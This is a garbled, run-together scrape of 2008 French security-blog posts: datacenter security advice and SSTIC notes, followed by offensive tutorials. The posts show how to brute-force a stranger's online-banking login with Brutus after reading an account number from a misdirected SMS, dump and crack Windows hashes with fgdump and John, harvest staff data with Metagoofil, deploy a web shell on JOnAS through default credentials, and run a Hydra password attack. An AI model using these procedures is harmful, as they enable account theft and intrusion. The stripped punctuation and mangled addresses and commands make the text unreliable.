serveursselon sa criticité en général, en fonction de son exposition et desdonnées contenues Alors, la sécurité apportées doit être enadéquation avec le niveau de criticité attribué à la machine2 - La gestion des incidentsPersonne n'est à l'abri d'un incident Et lorsque cela arrive, il fautêtre en mesure de :* le repérer Cela peut se faire idéalement à l'aide d'un SOC etd'une équipe de monitoring pour l'animer Ce SOC devrait reposersur une solution de corrélation de logs ex : OSSIM ;* le cerner L'incident peut être de nature diverse Ensuite, ilpeut être plus ou moins prioritaire Mais avant tout, il faut êtresûr qu'il ne s'agit pas d'un faux positif Il faut donc vérifierla pertinence de l'alerte reçue Si l'alarme est justifiée,l'incident doit être signalé à toutes les personnes impliquées ;* l'analyser et le traiter Un incident reconnu doit être pris encharge par l'équipe sécurité Celle-ci entame alors uneinvestigation pour déterminer la nature exacte de l'attaque, saprovenance, ses conséquences / actions et les actions à prendre encompte dans l'immédiat pour éviter une propagation par exemple età échéance pour éviter le reproduction d'un incident de mêmenatureDiverses mesures permettent d'obtenir une gestion d'incident efficacePour citer quelques exemples, une solution éprouvée doit être mise enplace pour repérer les incidents avec fiabilité, une procéduredétaillée doit être instaurée pour s'assurer qu'un incident seratraité de bout en bout et les moyens doivent être mis à la dispositiondes opérationnels sécurité pour mener à bien la phase d'investigation3 - Pérennisation de la sécurité logiquePour faire face aux menaces continues des attaquants et pour sepréparer contre les nouveaux vecteurs d'attaques Pour cela, voici unrésumé des recommandations qui peuvent être mises en place :* une gestion des mises à jour rigoureuse En plus du déploiementd'une solution telle que SCCM pour le déploiement des mises àjour, la compagnie devrait s'abonner à une liste de veillesécurité Ainsi, les équipes sécurité seront au courant desmenaces en quasi temps réel Alors, en cas d'attaque critiqueeg Ver, une procédure d'urgence d'application de patch doitêtre déroulée ;* effectuer un audit de configuration Pour s'assurer que lesrecommandations sécurité sont appliquées correctement, des auditsde configuration avant la mise en production et régulièrementdevraient être planifiés Par exemple, il pourrait s'agir devérifier qu'une application WEB et les client autorisés necommuniquent qu'en TLSv1 pour assurer l'intégrité et laconfidentialité des données échangées ;* effectuer des audits de vulnérabilité ou mieux, des testsd'intrusion Pour s'assurer de la robustesse d'un équipement duDatacenter, le mieux est d'effectuer un test d'intrusion sur cetélément ou à défaut, un test de vulnérabilité Effectuésrégulièrement, ils permettent de s'assurer de la sécurité de lamachine dans le temps Evidemment, cela suppose que les actionscorrectives sont apportées concernant les failles trouvées pendantl'auditFinalement, toutes les mesures à prendre en compte ont pour objectifde garantir la concordance entre le niveau de sécurité des équipementset la politique de sécurité de l'entrepriseConclusionLe post a présenté les aspects logique en termes de sécurité IT d'unDatacenter Cependant, les mesures apportées ne seront efficaces quesi elles sont accompagnées d'une sécurité organisationnelle etphysique A quoi bon blinder ses serveurs s'il est possible d'accéderfacilement à la salle contenant les machines A quoi bon prévoir dessolutions de sécurité drastiques si elles ne sont pas ou malappliquées grâce à des procédures précises et connues par lespersonnes impliquées C'est pourquoi, pour aller plus loin et aborderces autres aspects de la sécurité, je vous propose la lecture del'article sur la sécurisation des datacenters paru dans Hakin9 denov/déc 2008 Vous verrez, l'auteur est très sympa ;http://www.secuobs.com/revue/news/33772.shtmlhttp://www.secuobs.com/revue/news/33772.shtml Secuobs.com : 2008-10-15 15:48:20 - MISSION Security - Tout a commencé par un SMS Une nouvelle mission Non Maisfinalement, ça aurait pu le devenir Un matin, je reçois un SMSd'une certaine banque que nous appellerons X autre que la mienne Letexto m'indique que "je" suis à découvert de 51,29€ avec un découvertautorisé de 200€ De plus, il est écrit pour le compte "CC 12345678"les chiffres et caractères ont volontairement été changés bien sûrA votre avis, jusqu'où peut nous mener une simple erreur de numéro detéléphone Bien plus loin que l'on pourrait le penser L'aventurecommence Avant-proposCe post a pour unique but de sensibiliser les personnes et enl'occurrence, beaucoup de gens puisque toute personne ayant un comptebancaire consultable en ligne est concernée C'est pour cela que lesinformations sont transformées de sorte à ne pas enfreindre ni la loi,ni la vie privée de la personne incriminée à son insuEtape 1 : Récupération de l'identifiantJe commence par me balader sur le site de la banque comme un simpleutilisateur pour signaler l'incident Dans la partie "contact", outrel'appel surtaxé, je peux remplir un formulaire pour envoyer un mailEntre autres, je remplis le champs avec le numéro de compte Aussi, onme propose trois types de compte : "compte chèque, compte titre oucompte épargne" Le CC dans le SMS me fait opter pour un compte chèquece dont nous aurions pu nous douter puisqu'il n'existe pas dedécouvert sur les compte titre et d'épargne Suite à une erreur dansle formulaire, je suis renvoyé sur la même page et je remarque que lenuméro de compte a été modifié : le vrai numéro de compte est enréalité précédé de trois "0" Ok, donc le vrai numéro de compte est00012345678 pour reprendre notre exemple factice J'ai donc à madisposition le premier élément pour m'authentifier, l'identifiant Ladeuxième information à obtenir est le mot de passeEtape 2 : Récupération du mot de passeJe découvre rapidement que le mot de passe est constitué d'un certainnombre de chiffres puisque l'on me propose un clavier numérique Bon,ça se corse car difficile de contrer ce genre de clavier quoiqu'ilparaît que des programmes malicieux - ou malwares - font des capturesd'écran Il y a un bouton "valider" sous le clavier numériquemais je remarque qu'il devient "cliquable" qu'une fois avoirsélectionné 6 chiffres au hasard, ne connaissant pas le mot depasse Ok, il y a donc exactement 6 chiffres dans le mot de passeReste l'obstacle du clavier mais celui-ci sera très vite déjouépuisque un lien sur la même page du site permet une authentification"autre" en cas de problème Je clique et hop, je me retrouve sur unepage où l'on peut s'authentifier sans clavier numérique mais seulementà l'aide de deux champs de formulaire classique Sinon, il était jolile clavier : Pour la petite histoire, au début des claviersnumériques, ils ne fonctionnaient que sous IE pour la caisse d'épargnependant une certain temps Il suffisait alors d'utiliser un navigateuralternatif comme FirefoxQuoiqu'il en soit, voilà qui nous simplifie la tâche puisque noussommes alors en face d'un mot de passe faible voire très faiblepuisque composé d'exactement et seulement 6 chiffres Je pense quevous avez déjà connu plus difficile ; Nous avons à ce stadesuffisamment d'information pour lancer une attaque :* L'identifiant ;* La forme et la longueur du mot de passe ;* Des champs HTML pour tenter une attaque de type brute forceEtape 3 : Récupération du mot de passeMalheureusement ici, nous allons tout de suite devoir calmer nosardeurs car nous entrerions dans un cadre non légal Cependant, latechnique est très simple et expliquée ici car elle peut servir dansde nombreux cas C'est aussi l'occasion de voir un outil comme Brutusqui nous permet d'appliquer toutes les données récupéréesNormalement, ce logiciel est téléchargeable ici Il se peut que vousrencontriez des problèmes mais Google est votre ami ;Tout d'abord, le panneau principal Vous devez y choisir :* target = la page du site contenant le formulaire ;* type = HTTP form ;* port = 443 ;* Authentification options = checker "single user" et entrer lenuméro de compte dans le champs User ID ;* Pass mode = Brute ForceEnsuite, cliquer sur le bouton "Range" et le configurer de telle sorteque seuls les mots de passe de 6 chiffres seront tentés comme lemontre l'image suivante :Dernière étape du paramétrage, définir les champs de la page HTMLBrutus peut vous aider Pour cela, cliquer sur le bouton "ModifySequence" du panneau général Une nouvelle fenêtre s'ouvre Entrezl'adresse de la cible est la page et l'identifiant dans les champscorrespondants puis cliquez sur le bouton "Learn Form Settings" :Une fois trouvé, Brutus montre le fruit de ses recherches Sélectionner alors le champ correspondant à l'identifiant et cliquersur "Username" De même avec "Password"Cliquez sur "Accept" et "OK" des fenêtres ouvertes pour revenir aupanneau principal Il ne vous reste plus qu'à cliquer sur le bouton"start" et l'attaque commence Pour le post, nous nous arrêterons icimais je pense que vous avez l'essentiel appris l'essentiel ;http://www.secuobs.com/revue/news/28480.shtmlhttp://www.secuobs.com/revue/news/28480.shtml Secuobs.com : 2008-10-15 15:48:20 - MISSION Security - Lorsque nous commençons nos tests d'intrusion, il est importantd'engranger un grand nombre d'information Cela constitue autant depiste d'attaque par la suite En l'occurrence, les identifiants etmots de passe sont des données privilégiées, ainsi que les documentssensibles Pour faciliter et automatiser une telle recherche, nousallons voir deux outils de la société Edge-Security Cette dernièrevient de sortir une nouvelle version de son outil Metagoofil et ilvaut le détour Nous allons le voir tout de suitePréparation de l'attaque1/ Commençons par télécharger l'outil à l'adresse suivante :http://wwwedge-securitycom/soft/metagoofil-14tar2/ Dans votre console, décompressez-le :tar -xvf metagoofil-14tar3/Installer extract qui est nécessaire pour l'extraction desméta-données des documentsapt-get install extract4/ Vérifier que dans le code de metagoofil, le chemin donné pourextract est le bon fichier metagoofilpy Sinon, changez-le pouravec le bon path : extcommand=''C'est tout, vous êtes déjà prêts A l'exploration L'outil s'utilise de la manière suivante ex : microsoftcom :/metagoofil -d microsoftcom -f xls -l 100 -o microsoft-testhtml-t /home/jer/metagoofil/microsoft-test/Avec :* -d ;* -f peut être doc, xls, pdf, ou all ;* -l par défaut 100 ;* -t où seront stockés les documents récupérésIci, nous avons utilisé les formats doc car sinon, avec le paramètreall, l'outil récupérera plus de pdf qui sont des documentslégitimement accessibles sur le WEB ce qui devrait être moins le caspour les xls même si c'est moins vrai dans l'exemple que nousprenons Puisqu'il s'agit d'une grande entreprise, nous devrionsrécupérer un maximum d'information Cela nous demanderait alors parconséquent plus de temps et d'espace disqueUne fois terminé, nous voyons apparaître les chemins de documents etles noms d'utilisateurs trouvés ainsi que les noms de services del'entreprise Evidemment, nous devons éliminer les informations non pertinentes à ceniveau Les données ont été récupérées grâce aux champs "auteurs" et"chemin" des documents, eux-mêmes localisés avec des requêtes GoogleCela nous donnes une bonne base et même des formats de mail d'identifiant comme emmapXXXXXXX N'oublions pas qu'il peut aussis'agir de partenaires ou de client de la cible est qu'il est importantde trier les résultats Quoiqu'il en soit, ces données devraient êtreintéressantes par la suite du test d'intrusion ;Les ressources fournies par MetagoofilOutre l'output sur le terminal, Metagoofil fournit les stocke lesdocuments récupérés dans le répertoire désigné par l'option -t Vousdevriez y trouver des informations très intéressantes sur votre cible Dans notre exemple, un tableau contenant le nom de commerciaux etleur numéro interne a été trouvé Sur une autre requête exécutée surles doc, un CV d'un consultant de l'éditeur a été retrouvéAussi, Metagoofil founit un fichier HTLM constituant le reporting deses recherches En résumé, nous y trouvons pour chaque fichier aumieux :* Le titre et descriptif du document ;* Le nom de l'auteur ;* Le suivi des révision ;* Le nom de la dernière personne ayant sauvegardé le fichier pour ladernière fois ;* La date de création du fichier et de modification ;* L'outil qui a servi a créer le fichier ex : Acrobat Distillervoire la version 502 et même l'OS ex : Machintosh ;* L'adresse MAC de la machine ;* Le chemin où est enregistré physiquement le fichier et donccertainement un partage ouvert puisque le fichier a été récupérédepuis Internet ;* Et souvent des données additionnelles sur les outils utilisés parla cibleEntre fuite d'information et données importantes pour la suite dupentest, vous avez déjà ici de quoi faire ; Voici deux examples :Pour aller plus loinPour voir un autre exemple de l'utilisation de cet outil, une vidéoest disponible sur le site d'irongeekPour approfondir vos recherches, il existe un certains nombre derequêtes Google qui peuvent être très utiles Le site de Johnny LONGauteur de "Google Hacking" devrait être une bonne sourced'information Son site se trouve iciEnfin, Edge-Security propose un autre outil - dans le même ordred'idée - qui lui est plus focalisé sur la recherche d'adresses emailsIl se base aussi sur le moteur de recherche Google mais aussi lemoteur de MSN, le serveur de PGP et le site linkedin L'outil enquestion est appelé theHarvester et peut être téléchargé iciRapidement, en voici un exemple :/theHarvesterpy -d microsoftcom -l 100 -b googleAvec les options :* -d : ici, nous gardons le même exemple ;* -l : nombre de résultats limite ;* -b : source de l'information parmi Google, MSN, PGP et LinkedinEt vous, êtes vous sûrs qu'aucune de vos informations personnellesn'est accessible sur Internet http://www.secuobs.com/revue/news/28479.shtmlhttp://www.secuobs.com/revue/news/28479.shtml Secuobs.com : 2008-10-15 15:48:20 - MISSION Security - Si vous souhaitez récupérer les mots de passes d'une machine Windows, lasolution classique consiste à booter le PC sur un CD Outre le faitque cela prend pas mal de temps, il est possible d'empêcher le rebootsur le CD en configurant de manière sécurisée le BIOS Alors commentfait-on Il est donc temps de vous présenter fgdump Installation1/ Télécharger la dernière version de fgdump sur :http://swampfoofusnet/fizzgig/fgdump/downloadshtm2/ Euh c'est tout ;Utilisation basiqueTout d'abord, nous allons commencer par utiliser fgdump pour récupérerles mots de passe hashés sur la machine locale Pour cela, nous avonsbesoin d'un compte ayant les droits d'administrateur sur la machinelocale, ce qui est le cas du compte sur lequel nous sommes connectésSi un antivirus tourne sur la machine ce que nous osons espérer ,cet utilitaire se chargera de l'arrêter et de le redémarrer pour vous:fgdump -O 32 -vAvec -O optionnel pour spécifier que la machine utilise unearchitecture 32 bits sinon, 64 et -v pour "verbose" Nous obtenonsles résultats suivants :Nous voyons que l'opération a réussi En plus d'informations utilescomme la version exacte de l'OS, fgdump génère plusieurs fichiersdont le fichier 127001pwdump Nous y trouvons notamment lesinformations concernant le compte jer001 qui est notre cible :jer001:1013:B34CE522C3E4C8774A3B108F3FA6CB6D:B9F917853E3DBF6E6831ECCE60725930:::Si de plus ce compte dispose de plus de droits que nous en avonsactuellement, cela nous permettra de réussir une escalade deprivilègesEncore faut-il cracker ce mot de passe John L'outil que nousallons utiliser est john-the-ripper, certainement le cracker de mot depasse offline le plus connu téléchargeable à l'adressehttp://wwwopenwallcom/john/john-386exe --users=jer001 127001pwdumpEnsuite, pour afficher le mot de passe, nous utiliserons en plus unpetit script, d'un autre agent que vous connaissez certainement ; AgentMA que je remercie au passage Ce dernier permet d'obtenir la cassedu mot de passe, ce que le cracker ne nous fournit pasUtilisation avancéeParmi les options proposées par fgdump, voici les commandes qui meparaissent intéressantes :1/ Fournir un nom pour obtenir le nom des répertoires partagés Unefois le compte jer001 compromis, nous l'utilisons ainsi :fgdump -u jer001 -O 32 -v2/ Si nous auditons un sous-réseau, nous pouvons lancer la commandesur une machine distante avec l'option -h et mieux, une liste demachines distantes avec l'option -f Nous pouvons faire encore mieuxen définissant le nom d'utilisateur et le mot de passe pour chaquemachine auditée avec l'option -H La liste aura alors la formesuivante :19216802:jer001:passw0rd19216803:Alice:guess_me19216804:Bob:Can_U_Find_MeEt pour terminer, nous ajoutons la commande -T pour exécuter plusieursthreads simultanément, ce qui permettra de rendre le travail plusrapide Au final, nous obtenons donc la commande suivante pour testerle réseau :fgdump -H listetxt -T 5Une dernière option intéressante : -s pour retrouver les mots de passestockés par Outlook et/ou Internet Explorer :Pour plus d'information, vous devriez lire la documentation desauteurs icihttp://www.secuobs.com/revue/news/28478.shtmlhttp://www.secuobs.com/revue/news/28478.shtml Secuobs.com : 2008-10-15 15:48:20 - MISSION Security - Lors de l'édition 2008 du SSTIC, plusieurs conférences ont porté sur lestests d'intrusion avec différents points de vue : - point de vuethéorique: le danger des outils d'intrusion automatisés ;- point de vue pratique avec l'outil SinFP, un scanner semi-actif/semipassif pour la phase de découverte d'un test d'intrusion ;- point devue juridique1 - Outils d'intrusion automatisés par Mathieu BLANC11 - Les menaces portés par les outils de pentest automatisésPar outils de tests d'intrusion, on parle ici de Metasploit, CoreImpact et CANVAS Personnellement, je ne retiendrai que les deuxderniers, le premier n'ayant pas pour objectif de reconstituerl'ensemble de la démarche d'un Pentest Ensuite, la particularité decet exposé était de montrer ces outils d'un point de vue "original",et plus précisément d'en montrer les dangersLes outils étudiés ont la faculté de reproduire le déroulement d'untest d'intrusion phase de découverte, d'identification, tentatived'exploitation à l'aide de 0day en plus d'exploits corrigés,découverte des ressources locales, élévation de privilège locale,installation d'agent pour rebond et répétition des opérationsprécédentes Le but est de compromettre le maximum de machines sansse préoccuper de la furtivitéLes solutions sont si simples que si elles sont mises à la dispositionde personnes malicieuse avec seulement un minimum de compétence, celapeut s'avérer dévastateur Or, via des réseaux pirates ou P2P, il estpossible de se les procurer Lors d'une erreur de la part de Core Impact, l'éditeur de CoreSecurity, la liste des abonnés étaient disponible via la liste dediffusion des mises à jourUne version ancienne de Core Impact exploitait une vulnérabilité endéplaçant temporairement le sh Cela pouvait se conclure par lacréation d'une backdoor en cas d'incident pendant l'exploitationLa propagation de l'action des solutions peuvent amener à undébordement du périmètre convenu avec le client Aussi, cela peutprovoquer des attaques de type déni de service sur des applicationssensibles12 - Se protéger des outils de pentest automatisésCommencer par mettre à jour ses systèmes d'exploitation et sesapplications Ainsi, seuls les 0day, en proportion mineure, pourrontaffecter nos machinesEnsuite, les agents utilisent un "multi-stage shellcode" A chaque"étage", une contre-mesure devra être trouvée Si le second étagen'est pas exécuté, c'est que l'attaque a été bloquée à ce niveauPour bloquer les attaques réseau, un IPS doté de signatures adéquatsemble être la solution la plus appropriée Ensuite, une sandboxpermet de rediriger l'action des agents pour les rendre inoffensifsAu niveau système, les sondes de type SNORT en mode HIDS peuventbloquer un certain nombre d'attaquesEnfin, il est possible de contre-attaquer avec des attaques de typebuffer-overflow par exemple2 -SinFP, prise d'empreintes active et passive par Philippe AUFFRET21 - Les forces de SinFPJ'ai décidé de vous parler de cet outil car il peut nous être trèsutile lors d'un test d'intrusion Pourquoi Notamment parce qu'ilpeut représenter une bonne alternative par rapport à nmap lorsque lesconditions de tests sont complexes :* environnement NATé/PATé ;* présence d'équipements de sécurité pare-feu et ports filtrés,I{D|P}S ;* un ou quelques ports TCP ouverts seulement ;* implémentation d'IPv6 ;* Aussi, cet outil de prise d'empreinte dispose d'un mode passif ETactif Ce qui fait sa particularité Ainsi, SinFP peut avoir la forced'un p0f et d'un nmap respectivementDe plus, il est doté d'un mode d'invisibilité pour accomplir cela,SinFP utilise des requêtes standards qui ne seront pas bloquées par unIDS car alors, ce dernier risquerait de bloquer des requêteslégitimes22 - SinFP, comment ça marche En mode actif, 3 tests sont effectués :* P1 : Une requête TCP SYN sans option ;* P2 : Une requête TCP SYN avec de nombreuses options ;* P3 : Une requête TCP SYN + ACKLes réponses se basent ensuite sur l'analyse des entêtes IP et TCP etune base de signature environ 150En mode passif, la récupération d'information se fait :* à l'aide d'un fichier pcap ;* grâce à l'écoute du réseauEnsuite, la méthode d'analyse de la signature récupérée peut êtretransformée de sorte que l'analyse est assimilée à celle vue pour unesignature active cf ci-dessusIl faut savoir que SinFP peut être lancé en mode mixte ie, passif etactif3 -Les tests d'intrusion d'un point de vue théorique par Marie BAREL31 - Le pentest, une problématique complexeIl nous fallait bien le SSTIC pour aborder enfin les tests d'intrusiond'un point de vue juridique Et qui dit consultant SSI juridique dit Marie Barel Ok, c'était écrit dans le titre ; Pour commencer,Marie nous a fait sourire en classant Nessus dans les outils "passifs"mais nous l'avons bien compris, c'est parce qu'il n'exploite pas defaille Pour résumer brièvement le contenu de la présentation, ilfaudrait retenir les phrases suivantes :* le contrat entre le prestataire et le client, c'est très très trèsimportant Attendez, je rajoute encore un "très" et attention,les contrats type, c'est pas bien * il ne faut surtout pas négliger les phases de préparationdélimitation du périmètre, intervention d'un tiers ex :hébergeur, etc ;* l'expert sécurité, il maîtrise 32 - Se protéger juridiquementSi le ton est quelque peu ironique, c'est qu'en réalité, les aspectsjuridiques sont d'une complexité inouïe et certainement plus encoreque le plus difficile des pentests que vous ayez pu faire sur le plantechnique et là, Marie, pour nous l'expliquer, elle maîtrise Iciaussi, il n'y a pas un pentest pareil et puisqu'il y a forcémentrisque et argent mis en jeu, la prudence est indispensable Si deslois notamment le code pénale essaient de cadrer tous les scénarii,c'est irréaliste dans la pratique En effet, les mesures de protectionjuridiques côtés client et prestataire souffrent de failles ellesaussi : on ne peut pas être exhaustif et la réalité ne permet souventpas de mettre en place les propositions d'une loi ou recommandationjuridique Bref, sécurité technique, organisationnelle ou juridique,même combat : il faut limiter le risque au maximum***A noter que j'ai écrit deux autres posts, l'un sur la sécurisation des"green" datacenters et l'autre sur la "dépérimétrisation" Ces deuxarticles sont disponibles sur le blog de l'ESEChttp://www.secuobs.com/revue/news/28477.shtmlhttp://www.secuobs.com/revue/news/28477.shtml Secuobs.com : 2008-10-15 15:48:20 - MISSION Security - Le protocole SSL est largement utilisé et il n'est plus besoinaujourd'hui de le présenter Mais dans la pratique, il nous estindispensable pour sécuriser les communications par exemple Aussi,lors de l'audit comme celui d'un site WEB en HTTPS, il nous sera trèsutile de communiquer via ce protocole pour effectuer nos tests Unoutil va nous servir de couteau-suisse ici, il s'agit de SslNetCat0 - Préparation et contextePour la suite de nos travaux pratiques, nous commençons partélécharger le script SslNetCat disponible ici Puisqu'il s'agit d'unscript perl, soyons explicite et il sera enregistré ici en tant quescncpl Il faut le télécharger sur une machine cliente ET une machineserveurPour exécuter le script perl, nous aurons besoin de modules perlAttention, la liste peut être différente pour votre machine :# perl -MCPAN -e 'install "Net::SSLeay"'# perl -MCPAN -e 'install "IO::Socket::SSL"'# perl -MCPAN -e 'install "Net::Telnet"'# perl -MCPAN -e 'install "IO::Socket::INET6"'Concernant le contexte, nous avons donc besoin de deux machines L'OSest indépendant, le tout est que vous puissiez exécuter le script perltéléchargé Dans notre cas, nous aurons :* Une machine serveur sous Linux, 192168010 valeur modifiée ;* Une machine cliente sous Linux, 192168020 valeur modifiée ;Dans la suite de ce post, nous allons reprendre les exemples del'auteur mais en expliquant de bout en bout les cas pratiques afin quevous puissiez facilement utiliser l'outil C'est ainsi que nousdébuterons dès la génération du certificat par exemple A notercependant que si le but est seulement de s'exercer, l'auteur del'outil propose des certificats et des clés de test1 - Créer un tunnel SSL pour sécuriser ses communicationsNB : Aller directement à la partie 12 si vous utilisez lescertificats proposés par GomoR11 - Création des certificats111 - Etablissement de la CANous utilisons openssl que vous devez avoir mis à jour si vous êtessous Debian cf vulnérabilité critique Aussi, nous devonsdéterminer une autorité de certification dénommée ensuite CA poursigner le certificat mais ici, il s'agira d'un certificat auto-signé,quand bien même cela n'a aucune valeur d'un point de vue sécurité, leprincipe reste identique# openssl req -new -x509 -keyout ca-msblogkey -out ca-msblogcrtNous obtenons deux fichiers : ca-msblogcrt certificat etca-msblogkey clé privée de la CA112 - Génération du certificat côté serveur# openssl req -new -keyout server-msblogkey -outserver-msblogcsrPuisque le certificat sera signé localement par la CA, nousn'utilisons pas les attributs supplémentaires "extra" Deux nouveauxfichiers sont générés : server-msblogkey et server-msblogcsrEnvoyer ce dernier au CA s'il ne s'agit pas de la même machineCommençons par préparer le magasin de certificats pour la CA :# vi /usr/lib/ssl/opensslconfTrouvez la ligne commençant par dir et modifiez /demoCA par/msblogCA# mkdir /msblogCA# cd msblogCA# touch indextxt# mkdir newcerts# echo "01" serialPuis créons le certificat serveur lui-même :# cd # openssl ca -cert ca-msblogcrt -keyfile ca-msblogkey-out server-msblogcrt -in server-msblogcsrAcceptez le certificat en tapant 'y' quand cela est demandé deuxfois :Nous venons de créer le certificat server-msblogcrt Nous avons tousles fichiers nécessaires ;12 - Créer un tunnel de communication chiffré121 Mettre le serveur en écoute sur le port 12345 et rediriger letrafic sur le port 80# perl scncpl -vc -a ca-msblogcrt -f server-msblogcrt -kserver-msblogkey -p 12345 -r localhost:80122 Lancer la connexion du client vers le serveur# perl scncpl -v -s localhost -p 6789 -r server:12345::ssl2 - Audit d'un serveur Web en HTTPSIl s'agit ici de faire de notre client un proxy SSL qui nous servira àauditer le serveur Web21 - PréparationNous avons besoin d'un certificat et d'une clé privée pour ce clientCes deux éléments seront générés de la même manière que nous l'avonsfait pour le serveur précédemment cf 112 Ainsi, nous obtenonsclient-msblogcrt et client-msblogkey22 - Tests pour l'auditPour commencer l'audit, il suffit de se connecter sur le client avecserveur audité, 192168010 :# perl scncpl -v -r 192168010:443::ssl -a ca2-msblogcrt -fclient-msblogcrt -k client-msblogkey -s localhost -p 1234NB : il faudra retourner sur la "machine-proxy", entrer éventuellementla passphrasePuis de lancer nos commandes sur le client toujours - exemple :# perl scncpl -v localhost 1234# GET / HTTP/10De même, utiliser l'adresse loopback dans les outils utilisés pourl'audit du serveur HTTPShttp://www.secuobs.com/revue/news/28476.shtmlhttp://www.secuobs.com/revue/news/28476.shtml Secuobs.com : 2008-10-15 15:48:20 - MISSION Security - Avec le WEB 20, les applications WEB se sont largement multipliées,augmentant dans le même temps les failles de sécurité Parmi cesapplis, nous trouvons JOnAS Le post suivant propose un scénariod'attaque dans le cas où vous trouveriez cette solutionNB : Comme tous les posts de ce blog, la démonstration qui suit n'a devocation que de sensibiliser et prévenir et non de porter atteinte àquiconque, ce qui serait illégal 1 - Avoir accès à la page d'administrationSupposons que nous avons repéré JOnAS - une application WEBtéléchargeable sur *NIX et WIN* - sur un serveur cible, tournant pardéfaut sur le port 9000 Il suffit d'utiliser notre navigateur pournous retrouver sur la page de la cible ici, à l'adresse192168123123 pour notre démonstration, reposant sur une plateformeWindows mais les tests peuvent aussi être lancer sous *NIX :http://192168123123:9000/jonasAdmin Vous arrivez sur la pagesuivante :Par défaut, les credentials sont jonas/jonas, tentez votre chance Sinon, il existe de nombreuses méthodes pour trouver le mot de passes'il a été changé :* Avec Brutus cf la fin du post "Is your money safe" ;* Avec Hydra Ce deuxième cas fera l'objet du prochain post2 - Ajouter le module malicieuxUne fois loggé, nous pouvons déployer un nouveau module sur leserveur Celui-ci, nommé mission-securitywar, contiendra les pagesmalicieuses Pour cela, sur la page d'admin de JOnAS :* Etendez "Deployment" colonne de gauche ;* Cliquez sur "Web Modules WAR" ;* Cliquez sur le deuxième onglet "Upload" page principale ;* Cliquez sur "Parcourir" pour sélectionner le module ;* Retrouvez le module sur votre machine ;* Il ne vous restera plus qu'à cliquer sur le bouton "Upload"Vous arrivez sur la page suivante :Une fois cette opération réussie, il faut :* Revenir sur le premier onglet, nommé "Deployment" ;* Le module uploadé devrait apparaître dans la colonne de gauche dela page principale Cliquez dessus pour le sélectionné ;* Cliquez sur le bouton "" pour le déployer partie droite ;* Cliquez sur le bouton "Apply" pour finaliser cette étapeSur la page suivante, cliquez sur "Confirm" :3 - Exécuter des commandes arbitrairesDans votre navigateur, entrer l'URL :http://192168123123:9000/mission-security/Maintenant, c'est à votre imagination de jouer mais voici certainementl'exemple le plus convaincant :* Cliquer sur le répertoire "win32/" toujours en admettant que lacible est sous WIN* ;* puis sur la page "cmd_win32jsp" ou accessible directement entapant l'URLhttp://192168123123:9000/mission-security/win32/cmd_win32jsp;* Tapez la commande de votre choix Ici, la commande dir en tantqu'exemplePlus exactement, le code de cette page est le suivant :Et maintenant, Have fun http://www.secuobs.com/revue/news/28475.shtmlhttp://www.secuobs.com/revue/news/28475.shtml Secuobs.com : 2008-10-15 15:48:20 - MISSION Security - Lors du dernier post, nous avons rencontré une interface WEB contenantune méthode d'authentification basée sur un mode dit "HTTP-Form"Puisqu'il existe de très nombreuses applications WEB utilisant cetteméthode, il y a de grande chance que vous soyez amenés à tester laforce du mot de passe Nous partons du principe ici que l'attaque nepeut se faire qu'onlineNB : Comme tous les posts de ce blog, la démonstration qui suit n'a devocation que de sensibiliser et prévenir et non de porter atteinte àquiconque, ce qui serait illégal 0 - ContexteDans ce billet, nous reprenons le cas d'une application Jonas Noussupposons que nous avons trouver l'interface admin grâce à desscanners comme NMAP ici, il s'agirait d'une application WEB sur leport 9000, port utilisé par défaut par Jonas ou des scanners WEBcomme Nikto ou Wikto qui sont capables de trouver les pages de cetype Notre cible est donc http://123123123123:9000/jonasAdmin,sachant que c'est ici que se trouve par défaut la paged'administration de l'appli J2EE en question Aussi, nous savons - ouavons appris suite à nos recherches - qu'il existe un nomd'utilisateur par défaut : jonas Pour terminer, nous supposons que lemot de passe a été changé et n'est plus celui par défaut qui seraitici jonas1 - A la recherche des informations clés Pour réussir notre attaque, nous utiliserons Hydra de THC Ensuite,nous avons besoin d'un certain nombre d'éléments, à savoir :* le nom du champ contenant le login dans la page WEB ;* le nom du champ contenant le mot de passe dans la page WEB ;* le nom de la page / du script vérifiant la validité ou non ducouple login/mot de passe fourni par l'utilisateur ;* un mot spécifique retourné par la page d'erreur en cas d'échec del'authentificationIl existe plusieurs méthodes pour obtenir ces informations Mais laméthode la plus fiable qui nous assurera de toutes les avoir estd'utiliser un proxy local S'il en existe bien d'autres, nousutiliserons ici ParosUne fois Paros lancé, nous configurons notre navigateur de sorte qu'ilutilise ce proxy local par défaut sur le port 8080 Cette opérationpeut se faire manuellement dans les options de votre navigateur Outils Options Avancé Réseau Paramètres ou via une extension aprèsconfiguration ex : l'extension Switch proxy de firefoxNous allons maintenant sur la pagehttp://123123123123:9000/jonasAdmin et tapez jonas en tant quelogin et un mot de passe aléatoire, exemple jonas pour être sûr que lemot de passe par défaut n'a pas été laissé tout simplementEffectivement, le mot de passe a été changé Cependant, nous obtenonsla dernière information clé et nous utiliserons le mot InvalidNous retournons maintenant dans Paros :La première requête POST contient toutes les infos dont nous avonsbesoin :* le champ login à utiliser est j_username ;* le champ mot de passe à utiliser est j_password ;* la page à utiliser est j_security_checkNous sommes parés Il est donc temps de passer à l'étape suivante2 - Crackage du mot de passePour casser le mot de passe, nous avons deux solutions : soit parbrute-force, soit une attaque par dictionnaire En tant que bon agentde Mission-Security, vous n'aurez pas négligé la phase de prised'information et vous aurez certainement une bonne idée de ce quepourrez être le mot de passe Alors, commençons par une attaque pardictionnaire et seulement ensuite, tenter une attaque par brute-forceen cas d'échecDonc, une fois écrit votre fichier de mots de passe personnalisé pourla cible appelé ici passwordstxt, nous pouvons lancer Hydra avec lacommande suivante ATTENTION : votre antivirus peut empêcherl'exécution du cracker :hydra -l jonas -P passwordtxt -s 9000 -o resultstxt123123123123 http-post-form"/jonasAdmin/j_security_check:j_username=^USER^etj_password=^PASS^etsubmit=Login:Invalid"NB : avec -s, le numéro du portLe résultat ne se fait pas attendre :Have fun ;http://www.secuobs.com/revue/news/28474.shtmlhttp://www.secuobs.com/revue/news/28474.shtml Secuobs.com : 2008-10-15 15:48:20 - MISSION Security - Que le test soit initialement interne ou que vous ayez réussi à obtenirun accès en passant par un accès externe ex : Internet, il arriveraun moment où vous vous trouverez sur le LAN de la cible Alors, vousaurez besoin de Caïn qui représentera un réel couteau suisse dansvotre aventure Nous ne verrons qu'une toute petite partie de sescapacités dans ce billet mais de quoi déjà faire des ravages 1 - ContexteVoici le contexte qui représente dans le même temps les conditionsnécessaires pour réussir les opérations qui vont suivre :* nous avons {obtenu} un compte sur une machine du réseau locale dela cible ;* ce compte a les droits "administrateur local" 